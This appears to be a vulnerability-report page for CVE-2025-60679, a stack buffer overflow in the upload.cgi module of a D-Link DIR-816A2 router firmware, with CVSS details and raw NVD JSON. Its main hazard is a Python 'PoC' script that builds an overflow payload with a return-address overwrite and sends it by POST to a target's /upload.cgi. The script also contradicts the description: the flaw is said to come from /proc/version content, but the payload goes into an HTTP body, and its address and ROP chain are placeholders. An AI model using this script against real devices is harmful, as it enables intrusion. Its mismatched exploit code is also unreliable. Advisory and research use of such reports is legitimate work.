Security Vulnerability Report
中文
CVE-2025-60679 CVSS 8.8 HIGH

CVE-2025-60679

Published: 2025-11-13 20:15:51
Last Modified: 2025-11-17 17:57:16

Description

A stack buffer overflow vulnerability exists in the D-Link DIR-816A2 router firmware DIR-816A2_FWv1.10CNB05_R1B011D88210.img in the upload.cgi module, which handles firmware version information. The vulnerability occurs because /proc/version is read into a 512-byte buffer and then concatenated using sprintf() into another 512-byte buffer containing a 29-byte constant. Input exceeding 481 bytes triggers a stack buffer overflow, allowing an attacker who can control /proc/version content to potentially execute arbitrary code on the device.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-816_firmware:1.10cnb05_r1b011d88210:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-816:a2:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-816A2 固件版本 DIR-816A2_FWv1.10CNB05_R1B011D88210.img

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60679 PoC - D-Link DIR-816A2 Stack Buffer Overflow Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires device access. """ import socket import struct def create_exploit_payload(): """ Create payload that triggers stack buffer overflow in upload.cgi The vulnerability occurs when /proc/version content exceeds 481 bytes """ # Base payload size that triggers overflow base_size = 500 # Create padding with controlled content padding = b'A' * base_size # Add return address overwrite (example address, needs adjustment) return_addr = struct.pack('<I', 0x00402000) # Example: address in .text section # Add shellcode or ROP chain indicator rop_chain = b'BBBB' * 10 # Placeholder for ROP gadgets payload = padding + return_addr + rop_chain return payload def send_exploit(target_ip, target_port=80): """ Send exploit payload to vulnerable upload.cgi endpoint """ payload = create_exploit_payload() # HTTP request to upload.cgi request = f"POST /upload.cgi HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Length: {len(payload)}\r\n" request += f"Content-Type: application/x-www-form-urlencoded\r\n" request += f"\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) sock.send(request.encode() + payload) print(f"[+] Exploit payload sent ({len(payload)} bytes)") response = sock.recv(4096) print(f"[+] Response received: {response[:200]}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60679", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:51.420", "lastModified": "2025-11-17T17:57:15.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the D-Link DIR-816A2 router firmware DIR-816A2_FWv1.10CNB05_R1B011D88210.img in the upload.cgi module, which handles firmware version information. The vulnerability occurs because /proc/version is read into a 512-byte buffer and then concatenated using sprintf() into another 512-byte buffer containing a 29-byte constant. Input exceeding 481 bytes triggers a stack buffer overflow, allowing an attacker who can control /proc/version content to potentially execute arbitrary code on the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-816_firmware:1.10cnb05_r1b011d88210:*:*:*:*:*:*:*", "matchCriteriaId": "6494A725-3860-4428-A0F3-076605CAF7F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-816:a2:*:*:*:*:*:*:*", "matchCriteriaId": "1A3AC507-7219-401E-AC60-12D96382E4B7"}]}]}], "references": [{"url": "http://d-link.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/DLink/DLink-DIR-816/CVE-2025-60679.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}